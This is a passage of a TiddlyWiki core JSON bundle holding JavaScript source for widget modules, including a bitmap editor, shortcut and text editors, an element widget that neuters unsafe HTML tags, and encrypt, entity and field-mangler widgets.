widget\n*/\nEditBitmapWidget.prototype.execute = function() {\n\t// Get our parameters\n\tthis.editTitle = this.getAttribute(\"tiddler\",this.getVariable(\"currentTiddler\"));\n\t// Make the child widgets\n\tthis.makeChildWidgets();\n};\n\n/*\nJust refresh the toolbar\n*/\nEditBitmapWidget.prototype.refresh = function(changedTiddlers) {\n\treturn this.refreshChildren(changedTiddlers);\n};\n\n/*\nSet the bitmap size variables and refresh the toolbar\n*/\nEditBitmapWidget.prototype.refreshToolbar = function() {\n\t// Set the width and height variables\n\tthis.setVariable(\"tv-bitmap-editor-width\",this.canvasDomNode.width + \"px\");\n\tthis.setVariable(\"tv-bitmap-editor-height\",this.canvasDomNode.height + \"px\");\n\t// Refresh each of our child widgets\n\t$tw.utils.each(this.children,function(childWidget) {\n\t\tchildWidget.refreshSelf();\n\t});\n};\n\nEditBitmapWidget.prototype.loadCanvas = function() {\n\tvar tiddler = this.wiki.getTiddler(this.editTitle),\n\t\tcurrImage = new Image();\n\t// Set up event handlers for loading the image\n\tvar self = this;\n\tcurrImage.onload = function() {\n\t\t// Copy the image to the on-screen canvas\n\t\tself.initCanvas(self.canvasDomNode,currImage.width,currImage.height,currImage);\n\t\t// And also copy the current bitmap to the off-screen canvas\n\t\tself.currCanvas = self.document.createElement(\"canvas\");\n\t\tself.initCanvas(self.currCanvas,currImage.width,currImage.height,currImage);\n\t\t// Set the width and height input boxes\n\t\tself.refreshToolbar();\n\t};\n\tcurrImage.onerror = function() {\n\t\t// Set the on-screen canvas size and clear it\n\t\tself.initCanvas(self.canvasDomNode,DEFAULT_IMAGE_WIDTH,DEFAULT_IMAGE_HEIGHT);\n\t\t// Set the off-screen canvas size and clear it\n\t\tself.currCanvas = self.document.createElement(\"canvas\");\n\t\tself.initCanvas(self.currCanvas,DEFAULT_IMAGE_WIDTH,DEFAULT_IMAGE_HEIGHT);\n\t\t// Set the width and height input boxes\n\t\tself.refreshToolbar();\n\t};\n\t// Get the current bitmap into an image object\n\tif(tiddler && tiddler.fields.type && tiddler.fields.text) {\n\t\tcurrImage.src = \"data:\" + tiddler.fields.type + \";base64,\" + tiddler.fields.text;\t\t\n\t} else {\n\t\tcurrImage.width = DEFAULT_IMAGE_WIDTH;\n\t\tcurrImage.height = DEFAULT_IMAGE_HEIGHT;\n\t\tcurrImage.onerror();\n\t}\n};\n\nEditBitmapWidget.prototype.initCanvas = function(canvas,width,height,image) {\n\tcanvas.width = width;\n\tcanvas.height = height;\n\tvar ctx = canvas.getContext(\"2d\");\n\tif(image) {\n\t\tctx.drawImage(image,0,0);\n\t} else {\n\t\tctx.fillStyle = \"#fff\";\n\t\tctx.fillRect(0,0,canvas.width,canvas.height);\n\t}\n};\n\n/*\n** Change the size of the canvas, preserving the current image\n*/\nEditBitmapWidget.prototype.changeCanvasSize = function(newWidth,newHeight) {\n\t// Create and size a new canvas\n\tvar newCanvas = this.document.createElement(\"canvas\");\n\tthis.initCanvas(newCanvas,newWidth,newHeight);\n\t// Copy the old image\n\tvar ctx = newCanvas.getContext(\"2d\");\n\tctx.drawImage(this.currCanvas,0,0);\n\t// Set the new canvas as the current one\n\tthis.currCanvas = newCanvas;\n\t// Set the size of the onscreen canvas\n\tthis.canvasDomNode.width = newWidth;\n\tthis.canvasDomNode.height = newHeight;\n\t// Paint the onscreen canvas with the offscreen canvas\n\tctx = this.canvasDomNode.getContext(\"2d\");\n\tctx.drawImage(this.currCanvas,0,0);\n};\n\n/*\n** Rotate the canvas left by 90 degrees\n*/\nEditBitmapWidget.prototype.rotateCanvasLeft = function() {\n\t// Get the current size of the image\n\tvar origWidth = this.currCanvas.width,\n\t\torigHeight = this.currCanvas.height;\n\t// Create and size a new canvas\n\tvar newCanvas = this.document.createElement(\"canvas\"),\n\t\tnewWidth = origHeight,\n\t\tnewHeight = origWidth;\n\tthis.initCanvas(newCanvas,newWidth,newHeight);\n\t// Copy the old image\n\tvar ctx = newCanvas.getContext(\"2d\");\n\tctx.save();\n\tctx.translate(newWidth / 2,newHeight / 2);\n\tctx.rotate(-Math.PI / 2);\n\tctx.drawImage(this.currCanvas,-origWidth / 2,-origHeight / 2);\n\tctx.restore();\n\t// Set the new canvas as the current one\n\tthis.currCanvas = newCanvas;\n\t// Set the size of the onscreen canvas\n\tthis.canvasDomNode.width = newWidth;\n\tthis.canvasDomNode.height = newHeight;\n\t// Paint the onscreen canvas with the offscreen canvas\n\tctx = this.canvasDomNode.getContext(\"2d\");\n\tctx.drawImage(this.currCanvas,0,0);\n};\n\nEditBitmapWidget.prototype.handleTouchStartEvent = function(event) {\n\tthis.brushDown = true;\n\tthis.strokeStart(event.touches[0].clientX,event.touches[0].clientY);\n\tevent.preventDefault();\n\tevent.stopPropagation();\n\treturn false;\n};\n\nEditBitmapWidget.prototype.handleTouchMoveEvent = function(event) {\n\tif(this.brushDown) {\n\t\tthis.strokeMove(event.touches[0].clientX,event.touches[0].clientY);\n\t}\n\tevent.preventDefault();\n\tevent.stopPropagation();\n\treturn false;\n};\n\nEditBitmapWidget.prototype.handleTouchEndEvent = function(event) {\n\tif(this.brushDown) {\n\t\tthis.brushDown = false;\n\t\tthis.strokeEnd();\n\t}\n\tevent.preventDefault();\n\tevent.stopPropagation();\n\treturn false;\n};\n\nEditBitmapWidget.prototype.handleMouseDownEvent = function(event) {\n\tthis.strokeStart(event.clientX,event.clientY);\n\tthis.brushDown = true;\n\tevent.preventDefault();\n\tevent.stopPropagation();\n\treturn false;\n};\n\nEditBitmapWidget.prototype.handleMouseMoveEvent = function(event) {\n\tif(this.brushDown) {\n\t\tthis.strokeMove(event.clientX,event.clientY);\n\t\tevent.preventDefault();\n\t\tevent.stopPropagation();\n\t\treturn false;\n\t}\n\treturn true;\n};\n\nEditBitmapWidget.prototype.handleMouseUpEvent = function(event) {\n\tif(this.brushDown) {\n\t\tthis.brushDown = false;\n\t\tthis.strokeEnd();\n\t\tevent.preventDefault();\n\t\tevent.stopPropagation();\n\t\treturn false;\n\t}\n\treturn true;\n};\n\nEditBitmapWidget.prototype.adjustCoordinates = function(x,y) {\n\tvar canvasRect = this.canvasDomNode.getBoundingClientRect(),\n\t\tscale = this.canvasDomNode.width/canvasRect.width;\n\treturn {x: (x - canvasRect.left) * scale, y: (y - canvasRect.top) * scale};\n};\n\nEditBitmapWidget.prototype.strokeStart = function(x,y) {\n\t// Start off a new stroke\n\tthis.stroke = [this.adjustCoordinates(x,y)];\n};\n\nEditBitmapWidget.prototype.strokeMove = function(x,y) {\n\tvar ctx = this.canvasDomNode.getContext(\"2d\"),\n\t\tt;\n\t// Add the new position to the end of the stroke\n\tthis.stroke.push(this.adjustCoordinates(x,y));\n\t// Redraw the previous image\n\tctx.drawImage(this.currCanvas,0,0);\n\t// Render the stroke\n\tctx.globalAlpha = parseFloat(this.wiki.getTiddlerText(LINE_OPACITY_TITLE,\"1.0\"));\n\tctx.strokeStyle = this.wiki.getTiddlerText(LINE_COLOUR_TITLE,\"#ff0\");\n\tctx.lineWidth = parseFloat(this.wiki.getTiddlerText(LINE_WIDTH_TITLE,\"3\"));\n\tctx.lineCap = \"round\";\n\tctx.lineJoin = \"round\";\n\tctx.beginPath();\n\tctx.moveTo(this.stroke[0].x,this.stroke[0].y);\n\tfor(t=1; t<this.stroke.length-1; t++) {\n\t\tvar s1 = this.stroke[t],\n\t\t\ts2 = this.stroke[t-1],\n\t\t\ttx = (s1.x + s2.x)/2,\n\t\t\tty = (s1.y + s2.y)/2;\n\t\tctx.quadraticCurveTo(s2.x,s2.y,tx,ty);\n\t}\n\tctx.stroke();\n};\n\nEditBitmapWidget.prototype.strokeEnd = function() {\n\t// Copy the bitmap to the off-screen canvas\n\tvar ctx = this.currCanvas.getContext(\"2d\");\n\tctx.drawImage(this.canvasDomNode,0,0);\n\t// Save the image into the tiddler\n\tthis.saveChanges();\n};\n\nEditBitmapWidget.prototype.saveChanges = function() {\n\tvar tiddler = this.wiki.getTiddler(this.editTitle) || new $tw.Tiddler({title: this.editTitle,type: DEFAULT_IMAGE_TYPE});\n\t// data URIs look like \"data:<type>;base64,<text>\"\n\tvar dataURL = this.canvasDomNode.toDataURL(tiddler.fields.type),\n\t\tposColon = dataURL.indexOf(\":\"),\n\t\tposSemiColon = dataURL.indexOf(\";\"),\n\t\tposComma = dataURL.indexOf(\",\"),\n\t\ttype = dataURL.substring(posColon+1,posSemiColon),\n\t\ttext = dataURL.substring(posComma+1);\n\tvar update = {type: type, text: text};\n\tthis.wiki.addTiddler(new $tw.Tiddler(this.wiki.getModificationFields(),tiddler,update,this.wiki.getCreationFields()));\n};\n\nexports[\"edit-bitmap\"] = EditBitmapWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/edit-shortcut.js": {
"title": "$:/core/modules/widgets/edit-shortcut.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/edit-shortcut.js\ntype: application/javascript\nmodule-type: widget\n\nWidget to display an editable keyboard shortcut\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar EditShortcutWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nEditShortcutWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nEditShortcutWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\tthis.inputNode = this.document.createElement(\"input\");\n\t// Assign classes\n\tif(this.shortcutClass) {\n\t\tthis.inputNode.className = this.shortcutClass;\t\t\n\t}\n\t// Assign other attributes\n\tif(this.shortcutStyle) {\n\t\tthis.inputNode.setAttribute(\"style\",this.shortcutStyle);\n\t}\n\tif(this.shortcutTooltip) {\n\t\tthis.inputNode.setAttribute(\"title\",this.shortcutTooltip);\n\t}\n\tif(this.shortcutPlaceholder) {\n\t\tthis.inputNode.setAttribute(\"placeholder\",this.shortcutPlaceholder);\n\t}\n\tif(this.shortcutAriaLabel) {\n\t\tthis.inputNode.setAttribute(\"aria-label\",this.shortcutAriaLabel);\n\t}\n\t// Assign the current shortcut\n\tthis.updateInputNode();\n\t// Add event handlers\n\t$tw.utils.addEventListeners(this.inputNode,[\n\t\t{name: \"keydown\", handlerObject: this, handlerMethod: \"handleKeydownEvent\"}\n\t]);\n\t// Link into the DOM\n\tparent.insertBefore(this.inputNode,nextSibling);\n\tthis.domNodes.push(this.inputNode);\n\t// Focus the input Node if focus === \"yes\" or focus === \"true\"\n\tif(this.shortcutFocus === \"yes\" || this.shortcutFocus === \"true\") {\n\t\tthis.focus();\n\t}\n};\n\n/*\nCompute the internal state of the widget\n*/\nEditShortcutWidget.prototype.execute = function() {\n\tthis.shortcutTiddler = this.getAttribute(\"tiddler\");\n\tthis.shortcutField = this.getAttribute(\"field\");\n\tthis.shortcutIndex = this.getAttribute(\"index\");\n\tthis.shortcutPlaceholder = this.getAttribute(\"placeholder\");\n\tthis.shortcutDefault = this.getAttribute(\"default\",\"\");\n\tthis.shortcutClass = this.getAttribute(\"class\");\n\tthis.shortcutStyle = this.getAttribute(\"style\");\n\tthis.shortcutTooltip = this.getAttribute(\"tooltip\");\n\tthis.shortcutAriaLabel = this.getAttribute(\"aria-label\");\n\tthis.shortcutFocus = this.getAttribute(\"focus\");\n};\n\n/*\nUpdate the value of the input node\n*/\nEditShortcutWidget.prototype.updateInputNode = function() {\n\tif(this.shortcutField) {\n\t\tvar tiddler = this.wiki.getTiddler(this.shortcutTiddler);\n\t\tif(tiddler && $tw.utils.hop(tiddler.fields,this.shortcutField)) {\n\t\t\tthis.inputNode.value = tiddler.getFieldString(this.shortcutField);\n\t\t} else {\n\t\t\tthis.inputNode.value = this.shortcutDefault;\n\t\t}\n\t} else if(this.shortcutIndex) {\n\t\tthis.inputNode.value = this.wiki.extractTiddlerDataItem(this.shortcutTiddler,this.shortcutIndex,this.shortcutDefault);\n\t} else {\n\t\tthis.inputNode.value = this.wiki.getTiddlerText(this.shortcutTiddler,this.shortcutDefault);\n\t}\n};\n\n/*\nHandle a dom \"keydown\" event\n*/\nEditShortcutWidget.prototype.handleKeydownEvent = function(event) {\n\t// Ignore shift, ctrl, meta, alt\n\tif(event.keyCode && $tw.keyboardManager.getModifierKeys().indexOf(event.keyCode) === -1) {\n\t\t// Get the shortcut text representation\n\t\tvar value = $tw.keyboardManager.getPrintableShortcuts([{\n\t\t\tctrlKey: event.ctrlKey,\n\t\t\tshiftKey: event.shiftKey,\n\t\t\taltKey: event.altKey,\n\t\t\tmetaKey: event.metaKey,\n\t\t\tkeyCode: event.keyCode\n\t\t}]);\n\t\tif(value.length > 0) {\n\t\t\tthis.wiki.setText(this.shortcutTiddler,this.shortcutField,this.shortcutIndex,value[0]);\n\t\t}\n\t\t// Ignore the keydown if it was already handled\n\t\tevent.preventDefault();\n\t\tevent.stopPropagation();\n\t\treturn true;\t\t\n\t} else {\n\t\treturn false;\n\t}\n};\n\n/*\nfocus the input node\n*/\nEditShortcutWidget.prototype.focus = function() {\n\tif(this.inputNode.focus && this.inputNode.select) {\n\t\tthis.inputNode.focus();\n\t\tthis.inputNode.select();\n\t}\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget needed re-rendering\n*/\nEditShortcutWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes.tiddler || changedAttributes.field || changedAttributes.index || changedAttributes.placeholder || changedAttributes[\"default\"] || changedAttributes[\"class\"] || changedAttributes.style || changedAttributes.tooltip || changedAttributes[\"aria-label\"] || changedAttributes.focus) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t} else if(changedTiddlers[this.shortcutTiddler]) {\n\t\tthis.updateInputNode();\n\t\treturn true;\n\t} else {\n\t\treturn false;\t\n\t}\n};\n\nexports[\"edit-shortcut\"] = EditShortcutWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/edit-text.js": {
"title": "$:/core/modules/widgets/edit-text.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/edit-text.js\ntype: application/javascript\nmodule-type: widget\n\nEdit-text widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar editTextWidgetFactory = require(\"$:/core/modules/editor/factory.js\").editTextWidgetFactory,\n\tFramedEngine = require(\"$:/core/modules/editor/engines/framed.js\").FramedEngine,\n\tSimpleEngine = require(\"$:/core/modules/editor/engines/simple.js\").SimpleEngine;\n\nexports[\"edit-text\"] = editTextWidgetFactory(FramedEngine,SimpleEngine);\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/edit.js": {
"title": "$:/core/modules/widgets/edit.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/edit.js\ntype: application/javascript\nmodule-type: widget\n\nEdit widget is a meta-widget chooses the appropriate actual editting widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar EditWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nEditWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nEditWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\tthis.renderChildren(parent,nextSibling);\n};\n\n// Mappings from content type to editor type are stored in tiddlers with this prefix\nvar EDITOR_MAPPING_PREFIX = \"$:/config/EditorTypeMappings/\";\n\n/*\nCompute the internal state of the widget\n*/\nEditWidget.prototype.execute = function() {\n\t// Get our parameters\n\tthis.editTitle = this.getAttribute(\"tiddler\",this.getVariable(\"currentTiddler\"));\n\tthis.editField = this.getAttribute(\"field\",\"text\");\n\tthis.editIndex = this.getAttribute(\"index\");\n\tthis.editClass = this.getAttribute(\"class\");\n\tthis.editPlaceholder = this.getAttribute(\"placeholder\");\n\tthis.editTabIndex = this.getAttribute(\"tabindex\");\n\tthis.editFocus = this.getAttribute(\"focus\",\"\");\n\t// Choose the appropriate edit widget\n\tthis.editorType = this.getEditorType();\n\t// Make the child widgets\n\tthis.makeChildWidgets([{\n\t\ttype: \"edit-\" + this.editorType,\n\t\tattributes: {\n\t\t\ttiddler: {type: \"string\", value: this.editTitle},\n\t\t\tfield: {type: \"string\", value: this.editField},\n\t\t\tindex: {type: \"string\", value: this.editIndex},\n\t\t\t\"class\": {type: \"string\", value: this.editClass},\n\t\t\t\"placeholder\": {type: \"string\", value: this.editPlaceholder},\n\t\t\t\"tabindex\": {type: \"string\", value: this.editTabIndex},\n\t\t\t\"focus\": {type: \"string\", value: this.editFocus}\n\t\t},\n\t\tchildren: this.parseTreeNode.children\n\t}]);\n};\n\nEditWidget.prototype.getEditorType = function() {\n\t// Get the content type of the thing we're editing\n\tvar type;\n\tif(this.editField === \"text\") {\n\t\tvar tiddler = this.wiki.getTiddler(this.editTitle);\n\t\tif(tiddler) {\n\t\t\ttype = tiddler.fields.type;\n\t\t}\n\t}\n\ttype = type || \"text/vnd.tiddlywiki\";\n\tvar editorType = this.wiki.getTiddlerText(EDITOR_MAPPING_PREFIX + type);\n\tif(!editorType) {\n\t\tvar typeInfo = $tw.config.contentTypeInfo[type];\n\t\tif(typeInfo && typeInfo.encoding === \"base64\") {\n\t\t\teditorType = \"binary\";\n\t\t} else {\n\t\t\teditorType = \"text\";\n\t\t}\n\t}\n\treturn editorType;\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nEditWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\t// Refresh if an attribute has changed, or the type associated with the target tiddler has changed\n\tif(changedAttributes.tiddler || changedAttributes.field || changedAttributes.index || changedAttributes.tabindex || (changedTiddlers[this.editTitle] && this.getEditorType() !== this.editorType)) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t} else {\n\t\treturn this.refreshChildren(changedTiddlers);\n\t}\n};\n\nexports.edit = EditWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/element.js": {
"title": "$:/core/modules/widgets/element.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/element.js\ntype: application/javascript\nmodule-type: widget\n\nElement widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar ElementWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nElementWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nElementWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\t// Neuter blacklisted elements\n\tvar tag = this.parseTreeNode.tag;\n\tif($tw.config.htmlUnsafeElements.indexOf(tag) !== -1) {\n\t\ttag = \"safe-\" + tag;\n\t}\n\t// Adjust headings by the current base level\n\tvar headingLevel = [\"h1\",\"h2\",\"h3\",\"h4\",\"h5\",\"h6\"].indexOf(tag);\n\tif(headingLevel !== -1) {\n\t\tvar baseLevel = parseInt(this.getVariable(\"tv-adjust-heading-level\",\"0\"),10) || 0;\n\t\theadingLevel = Math.min(Math.max(headingLevel + 1 + baseLevel,1),6);\n\t\ttag = \"h\" + headingLevel;\n\t}\n\t// Create the DOM node\n\tvar domNode = this.document.createElementNS(this.namespace,tag);\n\tthis.assignAttributes(domNode,{excludeEventAttributes: true});\n\tparent.insertBefore(domNode,nextSibling);\n\tthis.renderChildren(domNode,null);\n\tthis.domNodes.push(domNode);\n};\n\n/*\nCompute the internal state of the widget\n*/\nElementWidget.prototype.execute = function() {\n\t// Select the namespace for the tag\n\tvar tagNamespaces = {\n\t\t\tsvg: \"http://www.w3.org/2000/svg\",\n\t\t\tmath: \"http://www.w3.org/1998/Math/MathML\",\n\t\t\tbody: \"http://www.w3.org/1999/xhtml\"\n\t\t};\n\tthis.namespace = tagNamespaces[this.parseTreeNode.tag];\n\tif(this.namespace) {\n\t\tthis.setVariable(\"namespace\",this.namespace);\n\t} else {\n\t\tthis.namespace = this.getVariable(\"namespace\",{defaultValue: \"http://www.w3.org/1999/xhtml\"});\n\t}\n\t// Make the child widgets\n\tthis.makeChildWidgets();\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nElementWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes(),\n\t\thasChangedAttributes = $tw.utils.count(changedAttributes) > 0;\n\tif(hasChangedAttributes) {\n\t\t// Update our attributes\n\t\tthis.assignAttributes(this.domNodes[0],{excludeEventAttributes: true});\n\t}\n\treturn this.refreshChildren(changedTiddlers) || hasChangedAttributes;\n};\n\nexports.element = ElementWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/encrypt.js": {
"title": "$:/core/modules/widgets/encrypt.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/encrypt.js\ntype: application/javascript\nmodule-type: widget\n\nEncrypt widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar EncryptWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nEncryptWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nEncryptWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\tvar textNode = this.document.createTextNode(this.encryptedText);\n\tparent.insertBefore(textNode,nextSibling);\n\tthis.domNodes.push(textNode);\n};\n\n/*\nCompute the internal state of the widget\n*/\nEncryptWidget.prototype.execute = function() {\n\t// Get parameters from our attributes\n\tthis.filter = this.getAttribute(\"filter\",\"[!is[system]]\");\n\t// Encrypt the filtered tiddlers\n\tvar tiddlers = this.wiki.filterTiddlers(this.filter),\n\t\tjson = {},\n\t\tself = this;\n\t$tw.utils.each(tiddlers,function(title) {\n\t\tvar tiddler = self.wiki.getTiddler(title),\n\t\t\tjsonTiddler = {};\n\t\tfor(var f in tiddler.fields) {\n\t\t\tjsonTiddler[f] = tiddler.getFieldString(f);\n\t\t}\n\t\tjson[title] = jsonTiddler;\n\t});\n\tthis.encryptedText = $tw.utils.htmlEncode($tw.crypto.encrypt(JSON.stringify(json)));\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nEncryptWidget.prototype.refresh = function(changedTiddlers) {\n\t// We don't need to worry about refreshing because the encrypt widget isn't for interactive use\n\treturn false;\n};\n\nexports.encrypt = EncryptWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/entity.js": {
"title": "$:/core/modules/widgets/entity.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/entity.js\ntype: application/javascript\nmodule-type: widget\n\nHTML entity widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar EntityWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nEntityWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nEntityWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.execute();\n\tvar entityString = this.getAttribute(\"entity\",this.parseTreeNode.entity || \"\"),\n\t\ttextNode = this.document.createTextNode($tw.utils.entityDecode(entityString));\n\tparent.insertBefore(textNode,nextSibling);\n\tthis.domNodes.push(textNode);\n};\n\n/*\nCompute the internal state of the widget\n*/\nEntityWidget.prototype.execute = function() {\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nEntityWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes.entity) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t} else {\n\t\treturn false;\t\n\t}\n};\n\nexports.entity = EntityWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/fieldmangler.js": {
"title": "$:/core/modules/widgets/fieldmangler.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/fieldmangler.js\ntype: application/javascript\nmodule-type: widget\n\nField mangler widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar FieldManglerWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n\tthis.addEventListeners([\n\t\t{type: \"tm-remove-field\", handler: \"handleRemoveFieldEvent\"},\n\t\t{type: \"tm-add-field\", handler: \"handleAddFieldEvent\"},\n\t\t{type: \"tm-remove-tag\", handler: \"handleRemoveTagEvent\"},\n\t\t{type: \"tm-add-tag\", handler: \"handleAddTagEvent\"}\n\t]);\n};\n\n/*\nInherit from the base widget class\n*/\nFieldManglerWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nFieldManglerWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\tthis.renderChildren(parent,nextSibling);\n};\n\n/*\nCompute the internal state of the widget\n*/\nFieldManglerWidget.prototype.execute = function() {\n\t// Get our parameters\n\tthis.mangleTitle = this.getAttribute(\"tiddler\",this.getVariable(\"currentTiddler\"));\n\t// Construct the child widgets\n\tthis.makeChildWidgets();\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nFieldManglerWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes.tiddler) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t} else {\n\t\treturn this.refreshChildren(changedTiddlers);\t\t\n\t}\n};\n\nFieldManglerWidget.prototype.handleRemoveFieldEvent = function(event) {\n\tvar tiddler = this.wiki.getTiddler(this.mangleTitle),\n\t\tdeletion = {};\n\tdeletion[event.param] = undefined;\n\tthis.wiki.addTiddler(new $tw.Tiddler(tiddler,deletion));\n\treturn true;\n};\n\nFieldManglerWidget.prototype.handleAddFieldEvent = function(event) {\n\tvar tiddler = this.wiki.getTiddler(this.mangleTitle),\n\t\taddition = this.wiki.getModificationFields(),\n\t\thadInvalidFieldName = false,\n\t\taddField = function(name,value) {\n\t\t\tvar trimmedName = name.toLowerCase().trim();\n\t\t\tif(!$tw.utils.isValidFieldName(trimmedName)) {\n\t\t\t\tif(!hadInvalidFieldName) {\n\t\t\t\t\talert($tw.language.getString(\n\t\t\t\t\t\t\"InvalidFieldName\",\n\t\t\t\t\t\t{variables:\n\t\t\t\t\t\t\t{fieldName: trimmedName}\n\t\t\t\t\t\t}\n\t\t\t\t\t));\n\t\t\t\t\thadInvalidFieldName = true;\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif(!value && tiddler) {\n\t\t\t\t\tvalue = tiddler.fields[trimmedName];\n\t\t\t\t}\n\t\t\t\taddition[trimmedName] = value || \"\";\n\t\t\t}\n\t\t\treturn;\n\t\t};\n\taddition.title = this.mangleTitle;\n\tif(typeof event.param === \"string\") {\n\t\taddField(event.param,\"\");\n\t}\n\tif(typeof event.paramObject === \"object\") {\n\t\tfor(var name in event.paramObject) {\n\t\t\taddField(name,event.paramObject[name]);\n\t\t}\n\t}\n\tthis.wiki.addTiddler(new $tw.Tiddler(tiddler,addition));\n\treturn true;\n};\n\nFieldManglerWidget.prototype.handleRemoveTagEvent = function(event) {\n\tvar tiddler = this.wiki.getTiddler(this.mangleTitle),\n\t\tmodification = this.wiki.getModificationFields();\n\tif(tiddler && tiddler.fields.tags) {\n\t\tvar p = tiddler.fields.tags.indexOf(event.param);\n\t\tif(p !== -1) {\n\t\t\tmodification.tags = (tiddler.fields.tags || []).slice(0);\n\t\t\tmodification.tags.splice(p,1);\n\t\t\tif(modification.tags.length === 0) {\n\t\t\t\tmodification.tags = undefined;\n\t\t\t}\n\t\t\tthis.wiki.addTiddler(new $tw.Tiddler(tiddler,modification));\n\t\t}\n\t}\n\treturn true;\n};\n\nFieldManglerWidget.prototype.handleAddTagEvent = function(event) {\n\tvar tiddler = this.wiki.getTiddler(this.mangleTitle),\n\t\tmodification = this.wiki.getModificationFields();\n\tif(tiddler && typeof event.param === \"string\") {\n\t\tvar tag = event.param.trim();\n\t\tif(tag !== \"\") {\n\t\t\tmodification.tags = (tiddler.fields.tags || []).slice(0);\n\t\t\t$tw.utils.pushTop(modification.tags,tag);\n\t\t\tthis.wiki.addTiddler(new $tw.Tiddler(tiddler,modification));\t\t\t\n\t\t}\n\t} else if(typeof event.param === \"string\" && event.param.trim() !== \"\" && this.mangleTitle.trim() !== \"\") {\n\t\tvar tag = [];\n\t\ttag.push(event.param.trim());\n\t\tthis.wiki.addTiddler(new $tw.Tiddler({title: this.mangleTitle, tags: tag},modification));\n\t}\n\treturn true;\n};\n\nexports.fieldmangler = FieldManglerWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/fields.js": {
